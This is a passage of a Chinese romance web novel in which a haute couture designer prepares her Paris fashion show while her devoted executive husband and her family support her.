今天她穿了条黑色铅笔裙,精良剪裁勾勒出她纤细的腰线。 此时,她正举着秒表,目光在模特们身上逡巡。 “要比平时慢0.5秒。” 音乐响起。 叶瓷听了几个小节,突然抬手示意暂停。 她指着T台某处几乎不可见的标记, “第三段钢琴进入时,让Nina的裙摆刚好扫过这个位置。” 调整完走位顺序后,她又要求每位模特在定点时默数三秒。 “这不是普通的成衣秀,高定的客人需要时间欣赏每一针每一线的价值。” 当时钟指向十二点半,彩排终于结束。 叶瓷靠在化妆台边,小口啜饮着早已冷掉的咖啡。 香醇的苦涩在舌尖蔓延,她这才感到太阳穴隐隐作痛。 “叶总,午餐已经送到您房间了。” 小于抱着平板电脑走过来,屏幕上显示着明天的天气预报。 叶瓷点点头,目光却落在挂架上的压轴礼服。 那是一件耗时数月,手工缝制的婚纱,裙摆上缀满需要特定角度才能看到的暗纹刺绣。 “知道了。” 叶瓷放下咖啡杯,手指已经抚上礼服的绸带,检查每一处接缝。 小于站在原地没动,她知道叶总的工作状态,一旦投入,可以连续很久不眠不休。 “要不让服务员把午餐送到这里来?”小于试探性地问。 叶瓷正用放大镜检查绸带边缘的缝线,“不用。” 说完,叶瓷看她,“你快回去和大家一起用餐。” 小于点点头。 “等等。” 叶瓷突然想起来,她搁下放大镜,然后从包里取出一张清单。 “我给大家准备了伴手礼,下午两点会送到酒店,我留的是你的手机号,到时候注意签收一下。” 小于眼睛一亮,伸手接过清单,上面罗列井然,一看就是用了心的: 有全家共享的食品果篮,家居小物,美妆香氛,轻奢配饰,全是一线品牌。 “谢谢叶总!” 叶瓷笑了下,“这段时间,大家都辛苦了。” 小于离开后,宴会厅安静下来。 叶瓷打开公司内部群,想了片刻,开始打字:【亲爱的大家,最近项目辛苦了,想给每位小伙伴准备一份小心意,如果有特别偏好或需求,随时私聊我调整哦】 发送过后,她又附上了一张伴手礼的精致包装图。 还没退出群聊,一连串消息就进来了。 陈姐:【天啊!Bonpoint!!我女儿的脸霜快用完了,老板这是在我家装了监控吗?】 设计部小梁:【Diptyque!还是巴黎城市限定款!老板您这品位绝了!!】 财务小李不吃糖:【老板连包装都选得这么童心,太懂妈妈们了!!】 实习生-Alex:【作为单身狗本来想默默流泪……结果发现香氛套装是我的梦中情香!老板连我们这种“无娃人士”都照顾到了!![猛男落泪.jpg]】 技术部-Mike:【弱弱问一句,能申请要两份吗?】 叶瓷快速看了一圈:【哈哈哈大家的反应太可爱了!@技术部-Mike 给你追加一份,别让夫人误会我虐待员工。】 叶瓷:【其实最感谢的是你们的努力,这些小礼物根本比不上你们的付出呀!】 回复过,叶瓷关闭了群聊。 她走到窗边,外面的天空呈现出一种柔和的灰蓝色,远处埃菲尔铁塔的轮廓若隐若现。 发了会儿呆,她又打开手机,会话框里是昨晚和蔺之序的通话记录,十五分二十二秒。 此时,他应该正在开会,明天才会过来。 回到套房,叶瓷刚解开盘发,造型师的电话就打了进来。 “叶总,我还是坚持用正红色,”造型师在电话那头语气激动,“和压轴礼服的颜色形成强烈对比。” 叶瓷走进浴室,将手机夹在耳边,一边用冷水洗手,“Mario,我们的主题是朱丽叶玫瑰,不是歌剧魅影。” 她看着镜中自己略显苍白的脸,“用裸色唇蜜。” 挂断电话,她来到餐桌旁,食盒已经凉了。 法式炖牛肉的油脂凝结成白色的霜,她刚端起准备放微波炉加热,门铃响了。 拉开门,却在看到来人的瞬间怔在了原地。 蔺之序站在门口,黑色大衣肩头还沾着巴黎微凉的雨气。 他手里拿着一大束郁金香捧花,花瓣上还盈着水珠,在走廊暖黄的灯光下像撒了一层碎钻。 “蔺之序?” 叶瓷的声音轻得几乎听不见,像是怕惊扰了这场不期而至的梦境。 下一秒,她踮起脚,人扑进他怀里。 沉香木的气息铺天盖地罩下来,她才察觉,原来这几天积压的疲惫早已到了临界点。 蔺之序一手接住她,另一只手将花束放在玄关柜上,花瓣因为轻微的震动而颤了颤,幽香在室内无声蔓延。 他腾出的手没有丝毫迟疑,立刻圈住她。 结结实实的拥抱,奇异地让人安心。 “累坏了吧?”他的声音从头顶传来。 叶瓷轻轻攥紧了他后背的衣料,半天,她在他怀里点点头。 几乎是同时,她感觉圈住自己的手臂又用了些力。 两人就这样安静地抱着彼此,良久,“你不是明天才能到吗?”叶瓷的声音闷在他的羊绒围巾里。 蔺之序:“提前结束了工作,想早点过来陪你。” 港城的会议刚一结束,他就迈步而出,身后项目合作方的讨论声仍在继续。 潘岩快步跟上,汇报接下来的行程:“晚上七点,王总那边安排了晚宴,地点在——” “推掉。” 蔺之序没有丝毫犹豫,走向专属电梯。 “可王总已经安排了三次,这次特意为您准备了…” 潘岩试图提醒这次应酬的重要性。 蔺之序按下电梯按钮,侧过头,“就说我临时有重要的事,必须离开。后续的接洽由你负责。” 潘岩知道自家老板的作风,拿定主意的事绝不拖泥带水。 “好的蔺总。”潘岩按下话头,“机场那边一切准备就绪,申请的航线已获批,随时可以起飞前往巴黎勒布尔热机场。” “好。” 目送黑色宾利离开酒店大厦,潘岩站在原地,手里还拿着那份详尽的晚间应酬流程表。 他来盛域集团七年了。 见证过蔺总在谈判桌上如何寸土不让,也经历过连续七十二小时跨国连轴转的高强度工作模式。 在他乃至所有核心高管的认知里,“工作至上”,“顾全大局”是刻在蔺之序骨子里的信条。 以前也有推迟或取消会议,但都是为了更重要的商业布局。 而婉拒应酬多半是换了另一种更高效的工作社交形式。 像今天这样,没有任何商业目的,干脆利落地推掉重量级合作方的再三邀约,是破天荒头一遭。 而让蔺总这样拒绝的原因,竟是为了去巴黎陪老婆。 …… 蔺之序的掌心贴着叶瓷后颈,这个身高差让他很自然地低头亲吻她的发顶。 叶瓷仰起脸,两人对视数秒,她伸手抚了下他衬衫领口几乎不可见的褶皱,突然笑了,说不上来为什么笑,就是好开心。 “吃饭了吗?”蔺之序问她。 叶瓷摇摇头,“还没。” 蔺之序目光扫向餐桌,看了眼,他抬手顺顺她的头发,“去换件舒服的衣服,我热一下饭菜。” 叶瓷:“你吃饭了吗?” 蔺之序:“我在飞机上用过了。” 两人松开。 很快,厨房里传来微波炉运转的声音。 叶瓷回卧室简单洗漱过,换上一条吊带长裙,外搭一件浅色开衫,她来到餐桌旁坐下。 两米之隔,蔺之序正在摆放餐具。 质感精良的白色衬衣如同第二层皮肤,覆在他倒三角的背脊与宽平的肩膀上。 动作间,背肌与手臂的线条在衬衣下隐现,那是一种被昂贵西装长久规训出的优雅姿态,偶尔会在不经意间,透出几分收敛的野性张力。 叶瓷突然想起自己曾经画过的人体素描,顶级的身材,比例完美。 但此刻,他们在眼前这个散发着温热荷尔蒙的男人面前,全部骤然失色。 一切准备就绪,蔺之序转身。 就见她正坐在那里,眼睛一瞬不瞬地看着自己。 “叶瓷?” 叶瓷:“…诶?” 蔺之序笑了下:“饭菜都热好了。” 叶瓷后知后觉,慌乱收回视线,哦了声,然后起身帮忙拿餐具。 两人一起落座,蔺之序安静地看着她小口进食,偶尔,他指出餐盘中她偏爱的部分:“松露酱没动过。” 叶瓷笑,刚舀起一勺松露烩饭,餐桌上的手机又震动起来。 是米兰面料供应商的来电。 叶瓷放下勺子,点了接听,电话那头意大利口音的英语像急促的雨点。 数分钟后,当她用流利的意大利语回应时,蔺之序伸手将她的餐盘往保温垫中央推了推。 看她一时半会结束不了,他起身从行李箱取出平板电脑放在茶几上,开始处理自己的工作邮件。 二十多分钟后,叶瓷结束了通话。 “解决了?”蔺之序合上电脑。 叶瓷点点头,“嗯。” 这时,蔺之序手背试了试餐盘,“温度还可以。” 叶瓷笑,正准备用餐,门铃又响起。 蔺之序过去开门。 两个小姑娘手里拿着塞纳河游船的宣传册,接踵而至的惊呼几乎掀翻屋顶。 “大哥!你也来巴黎了?”蔺念一又惊又喜。 蔺之序嗯了声。 蔺念一眼睛眨巴眨巴:“可是嫂子说,你明天才到哦?” 没等他回答,叶溦又问:“姐夫,你是专程过来陪姐姐的吗?好贴心!” 蔺念一已经揽住她的肩:“那当然咯!大哥肯定是忙完工作就马不停蹄地过来了。” 叶瓷的声音从餐厅传来:“你们两个吃过饭了吗?” “早吃过了!” 两人笑着进来,香水味瞬间填满整个空间,“姐,听说江晏和他的团队在塞纳河畔拍照呢,我们正要去看热闹,你要不要一起?” 叶溦话音落,蔺之序已经平静地替她拒绝,“她就不去了。” 蔺念一反应极快,立刻拽住还要说话的叶溦:“对对对,嫂子忙了一天该休息了!” 说着,她拖起同伴往门口退,临走前不忘对蔺之序做鬼脸,“我们就不打扰两位了,保证十二点前回酒店!” 门被合上,叶瓷开始吃饭。 蔺之序继续处理未完的工作。 餐厅里只有银匙偶尔碰触瓷盘的轻响,和蔺之序翻阅文件的沙沙声。 他坐在她对面,修长手指划过平板电脑屏幕,金融数据如流水掠过。 处理完最后一份分析报告,他随手点开新闻客户端。 道琼斯指数,美联储议息会议,原油价格波动,这些平日占据他全部注意力的数字,此刻却显得索然无味。 指尖无意识地向右滑动,时尚版块的标题突然跃入眼帘:《叶瓷:朱丽叶玫瑰与高定的灵魂对话》。 配图是她站在露台的照片,晨光中,她精致的侧脸比身后满架的玫瑰还要生动。 蔺之序将平板微微倾斜,避开反光。 她谈到童年在外婆的玫瑰园里,第一次发现朱丽叶玫瑰花瓣的渐变色泽:“那种从鹅黄到珊瑚粉的过渡,就像黎明时分少女脸颊上的第一抹羞赧。” “在看什么?” 叶瓷抬头,发现他的目光长久地停留在屏幕上。 蔺之序笑了下,“你的采访。” 第29章 第29章 我陪你 画面里的叶瓷, 清冷从容,美得不带攻击性,却自有一种直抵人心的力量。 看完她的采访, 蔺之序心里滋生出难以言喻的……占有欲。 这样好的她, 只能属于自己。 采访结束, 屏幕暗了下去。 蔺之序拿起手边的水杯,抬眼就看见叶瓷怀里抱着他刚才放在玄关柜上的郁金香。 人正朝他走来, “我想把花插在瓶子里。” 饭前在露台接电话时,她看到花架上有空花瓶和花艺工具。 蔺之序不懂这些, 叶瓷看出来了, 于是笑着邀请他,“来吧, 我教你。” 蔺之序合上电脑, 依言走到她身侧站定。 叶瓷已经开始挑拣花材。 “修剪时, 刀要斜四十五度角,这样可以增大吸水面积。” 说着, 她拿起专业花剪示范了一下,动作干脆。 蔺之序安静看着,这时, 叶瓷将花剪递给他,“你来试试。” 他手法生涩, 不过因为本身过分沉稳的气质, 动作间又透出一种绝对的掌控感。 剪枝完成后,叶瓷从花材里挑了一支姿态最优美的粉色郁金香,“这个是主枝,你来固定在这个位置,稍微倾斜一点。” 蔺之序闻言照做。 “不对, 角度要再大一些。”叶瓷轻声指导,见他还是不得要领,她笑了下。 然后微微倾身,手覆上他正调整花枝的手背,带着他的手腕微微转动了一个角度,“像这样。” 她的指尖微凉,蔺之序感受着她柔软的引导。 两人近在咫尺,他的目光很自然地从花枝上移开,落在她的侧脸上。 她的皮肤没有任何脂粉痕迹,细腻得几乎看不见毛孔,像是上好的白瓷,透出干净光泽。 在看到她鬓角上不小心蹭到的一点绿色苔藓时,蔺之序抬起手,很自然地用指腹擦过。 触感一掠而过,叶瓷顿了一下。 “沾了点东西。”蔺之序解释。 叶瓷笑,随后,注意力又回到花材上。 “接下来是副枝,它要衬托主枝,但不能抢风头。” 蔺之序“嗯”了声,从她脸上收回目光,依着她的指示,拿起另一支鹅黄色的郁金香。 他的悟性极高,这次,动作熟练不少。 叶瓷偶尔出声纠正:“低一点。” “这一支朝向外,会更有生机。” “最后一步的焦点花点缀在这里。” 叶瓷将手里最鲜艳的红色郁金香放进他掌心。 蔺之序照做。 完工的瞬间,花瓶错落有致,色彩和谐。 叶瓷左右端详了会儿,两人相视一笑。 接着,她将花瓶放在餐桌上。 大秀在即,压力像一张无形的网,一连数月,始终笼罩着她。 但此刻,她的心情却像这些被精心安置好的郁金香,在重压之下,偷得一时的轻松。 蔺之序看时间,“你午休一会儿吧,我回房间处理点儿工作。” 叶瓷点点头,“嗯。” 叶瓷将他送到玄关处,蔺之序伸手拉开门,走廊壁灯的光晕斜斜切进来,这个距离能看到他衬衣领口下若隐若现的锁骨线条,随着呼吸微微起伏。 身体好像有记忆一样,本能地,蔺之序抬手揽住她的腰身,嘴唇在她发顶轻轻一碰。 这个吻克制得近乎虔诚。 …… 翌日清晨,小于端着咖啡进来时,叶瓷已经开始核对流程表。 小于翻开平板:“叶总,今天上午十点在秀场有媒体预览,下午三点是VIP客户私密预览。” 叶瓷抬头,窗外传来杜乐丽花园的喷泉声,几只白鸽扑棱棱掠过酒店哥特式尖顶。 叶瓷:“让杜总去媒体预览。” “中午安排Room Service,用丽兹酒店的香槟和舒芙蕾,再加一份白鲟鱼子酱。” 小于手指在平板上飞快记录:“还要搭配什么吗?” 叶瓷想了想,“Laurent-Perrier桃红香槟,再准备些覆盆子酱。” 小于笑,伸手比了个OK。 出了房间,小于开始在群里发:【今天中午,香槟和舒芙蕾!优雅法式CP!叶总安排![爱心特效]】 …… 蔺之序住在1806套房,叶瓷轻敲房门。 很快,门打开。 视线里,一身黑色衬衣和西裤,他身后的笔记本电脑亮着,旁边放着半杯咖啡。 “打扰到你了吗?”叶瓷注意到他眉间未散的倦意。 蔺之序摇头,“没有,上午有什么安排?” 叶瓷笑了下,“下楼检查样衣。” 应着,她的目光扫过他搁在沙发边的一沓文件。 平日里,他的行程安排十分紧凑,这次空出几天来陪她,肯定是压缩了自己的休息时间。 叶瓷这个时候来找他,也没什么事,于是笑道,“你忙你的,我们电话联系。” “好。” 蔺之序说着牵起她的手,指腹在细腻手背短暂停留:“等我处理完手里这份就去找你。” 叶瓷笑:“嗯。” 楼下临时样衣间,冷气开得很足。 叶瓷戴上棉质手套,小心展开那件被压箱底的蕾丝礼服。 她发现意大利进口的列维斯蕾丝因为海运潮气微微变形。 “用45度蒸汽熨斗,垫三层瑞士薄纱熨烫。” 当工人操作熨斗时,叶瓷亲自监督着温度显示器。 忙完这一切,叶瓷靠在沙发里休息。 她望着茶几上散落的珠针和面料小样。 那些曾让她神经紧绷的细节,此刻竟呈现出奇异的秩序感,就像交响乐落幕前所有乐器终于找到了正确的音准。 这种感觉似曾相识。 她想起小时候考芭蕾舞级前夜,也是这样一种反常的平静。 那时老师告诉她,“当你不再数拍子的时候,音乐就长在你身体里了。” 现在这些礼服于她也是如此,每一处省道,每一条缝线都在脑海中自动展开立体图纸。 明天要用的二十五套造型像二十五枚熟透的果实,安静悬挂在枝头,只待采摘。 远处圣心大教堂的钟声传来。 叶瓷再一次真切的感受到,之前所有的压力焦虑此时此刻像极了退潮时的浪花,在它们刚要席卷过来时,却又迅速地消散无踪。 手机震动打断了思绪。 是温翎。 叶瓷摘下手套,发现无名指关节因长时间紧绷微微发白。 温翎约了她一起吃晚饭,叶瓷上楼去换衣服,途中她给蔺之序发消息,说现在要出去一趟,和妈妈吃饭。 蔺之序的回复很快:【需要我陪你去吗?】 他只在订婚宴那天见过一次温翎。 叶瓷:【不用了。就是跟你说下,怕你待会儿忙完了找不到我】 蔺之序:【好,你去吧】 温翎订的餐厅距离叶瓷下榻的酒店不远,叶瓷到时,温翎已经在等着了。 她坐在靠窗的位置,一袭墨绿色丝绒长裙,头发挽成一个低髻。 “妈。” 叶瓷轻声唤道。 温翎抬眸,眼角的细纹里藏着岁月沉淀的优雅。 “小瓷,你迟到了哦。” 叶瓷笑了下,“路上堵车。” 坐下后,温翎看着她,“很累对不对?” 叶瓷笑道,“还可以。” 侍者上前,递上菜单,两人各自点了几道菜。 “蔺之序陪你来了?”温翎问道。 “嗯,他昨天刚到。”叶瓷看她,“您怎么知道?” 温翎笑,“我看你的采访预告了。” 叶瓷也笑。 前菜上来了,温翎切了一小块鹅肝,送入口中,细细品味后才又问:“你们现在相处得怎么样?” 叶瓷低头,用叉子轻轻拨弄着扇贝上的鱼子酱,“挺好的。” “妈最近在忙什么?” “刚结束了一个艺术基金会的项目,最近在写一本关于印象派画家的书。”温翎擦了擦唇角,“下个月会去佛罗伦萨待一阵子。” 叶瓷点点头。 “尝尝这个。”温翎用勺子轻轻划开蛋糕,“这家餐厅的甜点师以前在Pierre Hermé工作过。” 叶瓷闻言舀了一勺,小时候,温翎偶尔会带她去港城吃下午茶,她现在还记得那里的司康饼配凝脂奶油的味道。 “对了。” 温翎从包里取出一份文件夹。 “你行程满,工作多,我原想着等你忙完时装周后去苏黎世住几天,又怕到时候时间不充裕,所以,今天就把这些先给你。” “看看。” 说着,温翎将文件夹推给她。 叶瓷翻开,是一份股权转让协议。 温翎将自己名下持有的欧洲三家顶级时尚品牌的股份,总价值约2.5亿欧元,全部转移到了叶瓷名下。 她猛地抬头:“妈,这……” 温翎神色平静,接着,她又推过来第二份文件:巴黎左岸两栋历史保护建筑的产权证,以及瑞士日内瓦湖畔的一处庄园地契。 “这些房产一直由信托管理,现在交给你,算作是你的嫁妆。” “巴黎的两栋楼租约稳定,年收益足够你的个人开销。” “瑞士的庄园环境不错,适合度假,也方便你将来在欧洲拓展业务。” 叶瓷放下文件夹,“妈,这些资产是你多年经营的成果,你不能都给了我。” 温翎阻了她的手,“你和北庭都有,你们是我的孩子,妈妈给你们天经地义。” “还有这个哦。”温翎调皮一笑,从夹层里取出一个深蓝色丝绒首饰盒,“这是你外婆当年留给我的嫁妆,现在给你。” 叶瓷打开盒子,是一套古董珠宝,全部由哥伦比亚祖母绿和钻石镶嵌。 叶瓷眼眶微热,“妈,这些太贵重了……” 温翎抬眸看她,“小瓷,蔺家底蕴深厚,妈妈给你的这些,是在给你底气,你明白吗?” “……明白。” 温翎又笑,换了话题,“婚礼日期定下来了吗?” 叶瓷压下眼底湿意,“还没,等忙完这阵子再说。” 这时,温翎亲昵地拍了拍她的手背,“好,等日期定下来了,告诉妈妈。” 叶瓷笑,“好。” 晚餐结束时,外面下起了小雨。 温翎拒绝了叶瓷送她回去的提议,两人在餐厅门口分别。 温翎:“女儿,明天秀场见。” 叶瓷笑着点头,“嗯。” 雨中的巴黎像被罩在磨砂玻璃里。 叶瓷站在餐厅廊檐下,看雨水在路面上汇成细小的溪流。 手机响起时,雨幕那端出现一把黑伞,蔺之序肩头沾着雨气,他从怀里掏出一条羊绒围巾,“怎么不打车?” 叶瓷由他帮自己围上围巾,鼻尖蹭到对方衬衣领口时,她闻到熟悉的沉木香。 “想走走。”叶瓷说。 蔺之序已经替她围好了,顺手又整了整,“好,我陪你。” 两人的视线在伞下相触,他个头高,叶瓷微仰起脸,笑问,“你工作忙完了吗?” 蔺之序笑,“忙完了。” 接下来的时间里,他们手拉手沿着塞纳河漫步,雨越来越紧,很快,雨丝在伞沿积成一圈透明的水帘。 路过一家湿漉漉的花摊时,蔺之序买了一株玫瑰。 叶瓷笑着接过,然后又低头闻了闻含着水汽的玫瑰香。 两人边走边聊。 因为刚才和温翎见面的缘故,叶瓷想起了很多往事,她跟蔺之序讲起自己的童年,讲温翎,讲外婆。 蔺之序偶尔搭话,不过,大多时候只是做个安静的听客。 两人沿着河畔走了很久,丝毫没觉察河对岸不知何时蹲着个戴鸭舌帽的摄影师。 远处埃菲尔铁塔突然整点亮灯,无数光点穿透雨幕,将两人依偎的身影投射在古老的塞纳河面上,像幅被雨水晕开的水彩画。 第30章 第30章 老婆看一眼就买 两人回到酒店, 蔺之序将房卡轻贴在感应器上,电子锁发出短促的“嘀”声。 灯光明亮,叶瓷看到他西装袖口洇出的深色水痕。 刚才在外面, 她没留意, 现在看, 水痕很醒目。 蔺之序:“早点休息,有事给我打电话。” 叶瓷点点头, “你也是。” 浴缸里的马鞭草浴盐渐渐融化,氤氲出舒缓的香气。 叶瓷将手机放在防水台上, 这时, 屏幕突然亮起。 叶溦发来一条新闻链接。 #塞纳河畔的玫瑰时刻# 标题下方配着短评:当商业帝国的严谨遇见高级定制的浪漫。 配图是雨幕中,两人撑伞买花的画面。 这张被媒体抓拍的新闻图片构图十分精妙。 画面中, 蔺之序撑着一把黑色长柄伞, 伞面微微倾斜, 他左手虚扶在叶瓷腰后,凝视的目光温柔专注, 而叶瓷,正在低头轻闻手中的红玫瑰,唇角微扬。 背景是朦胧的塞纳河岸, 被雨水打湿的路面反射着街灯的金色光晕,花摊的玻璃罩上凝结着水珠, 在镜头前形成梦幻的光斑。 最妙的是图中雨丝的走向——斜斜的雨线将画面自然分割, 却又被黑伞的弧度温柔破开。 这张偷拍的照片捕捉了两人最自然的状态。 叶瓷端看着这张照片,终于,她长按点了保存。 叶溦和蔺念一的消息同步进来,各种夸夸贴,叶瓷笑着给两人回复:【早点休息】 还没退出对话框, 屏幕上突然又跳出叶北庭的消息: 【刚和主办方沟通了最后的流程】 接着,他发来一份PDF文件。 叶北庭:【这是调整后的座位表。】 叶瓷点开文件,看到每个座位都标注得清清楚楚,连嘉宾的喜好都备注在旁,某位主编偏爱香槟,某位买手对百合过敏。 这份细致入微的安排,是叶北庭一贯的风格。 叶北庭:【安保也重新部署过了,后台入口加派了人手。】 叶瓷正要回复,对方正在输入的提示又闪动起来。 【对了,记得吃早餐。我让酒店准备了中式粥点,别空腹喝咖啡。】 叶瓷看着屏幕,手指悬在键盘上片刻,只回了一个:【嗯】 哥哥把所有的关心都藏在每一个务实的安排里。 叶瓷擦着头发走进浴室,发现夜床服务已经备好。 床头柜上的洋甘菊茶飘着淡淡香气。 她拉开窗帘,雨中的巴黎灯火阑珊。 手机再次亮起,是彭罄。 彭老师言简意赅:【亲爱的小瓷,明天,巴黎会记住你的名字。】 叶瓷笑,觉得老师的鼓励好可爱,然后回复:【谢谢老师】 雨仍拍打着窗户,水珠顺着玻璃滑落,在窗框上积成细小的水洼。 叶瓷端起茶杯,温热透过瓷壁传递到指尖,茶香袅袅,却没办法驱散她心里那份若有若无的紧绷感。 明天此时,大秀就落幕了。 她放下茶杯,然后开始换衣服。 与其坐在这里让焦虑蔓延,不如再做点什么,哪怕只是再看一眼那些礼服,确认每一个细节都万无一失。 电梯缓缓下降,金属壁映出她略显苍白的脸色。 地下工坊的走廊寂静无声,只有她的高跟鞋敲在大理石地面上的声响。 推开门,冷白的灯光倾泻而下。 二十五套礼服静静悬挂在移动架上,每一件都像沉睡的艺术品。 她走近其中一件,真丝缎面上,手工刺绣的纹路若隐若现,需要特定的光线才能看清全貌。 伸手又抚过腰间的珠绣,确认每一颗珍珠都牢固地缀在应有的位置。 正当她弯腰查看内衬的缝线时,门被轻轻推开了。 “叶瓷?” 低沉的嗓音在身后响起。 叶瓷回头,蔺之序正站在那里。 他没穿西装外套,只一件白色衬衣和西裤。 “你怎么来了?”她直起身,手里还捏着一根珠针。 “给你发消息没回,去房间找你也不在。”他走近,“猜你应该在这里。” 临睡前,蔺之序想到了这种可能,虽然她看着很平静淡定,可他还是不放心。 叶瓷这才想起手机被她随手丢在了房间。 “几点了?”她问。 “凌晨两点。”蔺之序看了眼腕表,目光重新落回她脸上,“叶瓷,你该休息了。” “再检查一遍。”她转身走向另一件礼服,手指轻轻拨开层叠的薄纱,“明天不能出任何差错。” 蔺之序没再劝她,只是走到工作台旁坐下,拿起她放在一旁的样衣修改笔记翻看。 纸页上密密麻麻全是她的字迹,有些地方甚至画了三四遍的修改草图,直到满意为止。 偌大的工坊里很空很安静。 叶瓷专注着手中的工作,而他就这样陪着她。 过了许久,叶瓷终于停下动作,轻轻呼出一口气。 所有礼服都确认完毕,连最细微的线头都被修剪干净。 她转身,发现蔺之序仍坐在那里,手里捧着一杯不知何时泡好的洋甘菊茶。 “结束了?”他问。 她点点头,突然觉得疲惫涌来。 蔺之序站起身,将茶杯递给她,“喝点热的。” 温热的茶水流过喉咙,叶瓷低头看着杯中浮动的花瓣,半天,她抬起头看他。 灯光在他的侧脸投下浅浅的影,那双总是冷静自持的眼睛,此刻正望着自己。 她忽然想起五年前,在米兰的那场“晨雾系列”个人首秀彩排现场。 后台的灯光刺眼,她看着模特们来来往往,突然就崩溃了。 她蹲在化妆间的角落,把脸埋在膝盖里无声大哭。 后来是叶北庭找到了她,什么都没说,递给她一杯热可可,然后安静地陪她坐了一整夜。 如今,是蔺之序。 “谢谢。”她开口,声音很轻。 蔺之序微微挑眉,不明白她为什么道谢。 叶瓷笑了下,“因为你一直陪着我呀。” 蔺之序闻言,也笑。 叶瓷很感激他懂自己,就像现在,他知道她需要独处的空间,却又不会真的让她一个人。 “我感觉轻松多了,”叶瓷放下茶杯,对蔺之序轻松一笑,“我们回去吧。” 蔺之序点点头,走过来自然地牵住她的手。 正走着,叶瓷问他,“明天,你会一直陪着我吗?直到谢幕?” 这个问题问得有些傻。 作为她的丈夫,盛域集团的总裁,他的座位早就被安排在了最显眼的位置。 “我会一直在后台陪着你。”他说。 叶瓷的眼眶倏地发热,“……嗯。” 电梯停在他们的楼层。 蔺之序伸手挡着门,让她先出去。 走廊尽头的窗外,雨已经停了,云层间隐约透出几颗星星。 蔺之序在她房门前停下,“我们明天见。” 叶瓷点点头,却在转身时被他握住了手腕。 “叶瓷,你只需要做你自己。” 叶瓷:“嗯,我知道。” …… 1806套房内,蔺之序沐浴出来,沙发上的手机持续震动,“七号公馆”群聊已经堆了数十条消息。 蒋昀铮分享的外媒报道,标题夸张得令人皱眉,【外媒头条#亚洲时尚新贵与千亿总裁的塞纳河之约,时装周秒变偶像剧#】 裴时的分享紧随其后:【新闻链接#盛域总裁夜会高定设计师妻子,巴黎雨夜撑伞漫步,浪漫堪比电影画面#】 蔺之序缓缓发出一个问号。 司恒:【五哥这是还没看到新闻的吧?】 蔺之序随手点开链接,语言风格是浮夸了点儿,不过照片拍得还不错。 他挑了几张,长按保存。 梁屿培:【等等,这支花……蔺总,你带嫂子逛巴黎,就送一支5欧的玫瑰?】 蔺之序:【……】 司恒:【#新闻截图:蔺之序撑伞,叶瓷低头闻花,雨丝在灯光下泛着细碎的光# 说真的,这张拍得不错。】 裴时:【何止不错?】 接着他又甩出几篇报道来。 蒋昀铮:【哇哦伞是往叶瓷那边倾斜的,[截图圈出]五哥,你衣袖湿了没?】 蔺之序实事求是:【当时没留意】 裴时:【没留意?[笑死] 你平时连合同页码错一个数字都能发现,现在淋湿半边肩膀说没留意?】 司恒:【[摇头感叹] 爱情使人降智。】 梁屿培:【你们猜,明天国内财经版会不会写《盛域集团总裁罕见休假,竟为陪夫人夜游巴黎》?】 裴时秒回:【不用猜,已经有了[截图财经网标题]】 【顺便,评论区全在问,蔺总什么时候开通社交账号?想嗑真人CP。】 梁屿培:【不过,回到最初的问题,这支玫瑰到底怎么回事?别告诉我你真就随便买的。】 蔺之序:【她路过花摊时多看了一眼】 梁屿培:【……所以你就买了?】 蔺之序:【嗯】 群内安静五秒。 司恒缓缓打字:【五哥,你完了。】 蒋昀铮:【[深沉点头]彻底完了】 裴时:【@蔺之序,欢迎加入“老婆看一眼就买”俱乐部】 蔺之序揉了揉太阳穴,已经快凌晨四点了。 蔺之序:【你们几个是上班呢还是摸鱼呢?】 裴时:【一边上班一边摸鱼,不冲突。】 蒋昀铮:【我纯摸鱼。】 梁屿培:【我也!】 蔺之序懒得跟他们贫,快速打字发送:【要睡了,不聊了。】 司恒:【[大笑] 别跑啊!】 蒋昀铮:【[举杯] 敬爱情,敬巴黎的雨,敬那支5欧的玫瑰】魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 第31章 陪老婆工作 距离“朱丽叶玫瑰”高定系列发布会只剩三十分钟。 后台灯光白得刺眼。 叶瓷的手指在平板上快速滑动, 检查着模特们的出场顺序。 她的耳麦里不断传来各组的汇报声。 叶瓷:“Look 3的腰带扣需要再紧一格。” 不远处,造型师立刻小跑向正在补妆的模特。 后台的空调温度调得很低,但空气依然燥热。 所有模特都在做最后准备, 化妆师们踮着脚尖调整眼线, 发型师的手指在发丝间梳理。 小于穿梭其中, 手里拿着清单一项项核对。 第一位模特已经站在出场位置,雾粉薄纱裙摆垂落在地。 工作人员蹲下身, 小心翼翼地用冰镇喷雾处理裙摆。 细密的水雾落在纱料上,立刻让柔软的材质变得挺括有形, 每一层褶皱都像花瓣一样舒展。 “再喷一下左侧。” 叶瓷走近亲自检查, 手指在裙摆上方感受湿度,“不能太湿, 会影响走动时的飘逸感。” 她的目光依次扫过模特全身:头饰的角度, 项链的长度, 手套的贴合度。 这时,后台广播响起:“所有模特准备, 五分钟倒计时。” 叶瓷轻微屏息。 “Look2腰间的纱再往左偏五度。” “化妆师补一下艾玛的唇妆,颜色吃掉了。” “Look 7的唇色太暖了,换冷调玫瑰色。” 她说着, 同时伸手抬起模特的下巴左右端详。 她的指甲修剪得短而干净,指腹有常年拿针留下的薄茧。 补妆完成, 叶瓷下意识环顾四周, 目光越过忙碌的工作人员,落在角落那个挺拔的身影上。 蔺之序靠在一张化妆台边,手划着手机屏幕,眉头微蹙,大概是在处理什么棘手的工作。 他今天穿了件黑色西装, 三粒扣的杰尼亚定制款,银灰领带系得一丝不苟,搭配同色系的方巾从胸袋微微探出。 像是感应到她的目光,蔺之序突然抬头。 四目相对的瞬间,他眉间的纹路立刻平展,冲她轻轻颔首。 叶瓷笑了笑,正要转身,却见他突然举起手机做了个抱歉的手势。 有电话进来了。 “说重点。” 蔺之序接起电话,声音压得很低,但那种不容置疑的威严还是清晰地传了过来。 他一边通话一边朝叶瓷的方向走来,最后停在一个既能让她看见又不会打扰她工作的距离。 “把第三季度的数据发我邮箱,其他的明天再说。” 叶瓷收回视线,她知道蔺之序对时装一窍不通,但此刻他站在那里,就是她最强大的后盾。 “蔺总,”有工作人员走过去,“要不要给您安排个座位?” 蔺之序摆摆手,“不用。” 手机又震动起来,他看了眼屏幕,是发小群的消息。 裴时发了张游艇照片,配文:【缺个钓友】 蔺之序看一眼,然后干脆地锁上了屏幕,目光在人群里寻找,终于,他又看到了叶瓷的身影。 下午三点整。 刚才充斥的交谈声,脚步声,衣料摩擦声瞬间消失,只剩下模特们调整呼吸的细微声响。 随着第一个钢琴音符落下,灯光开始变幻。 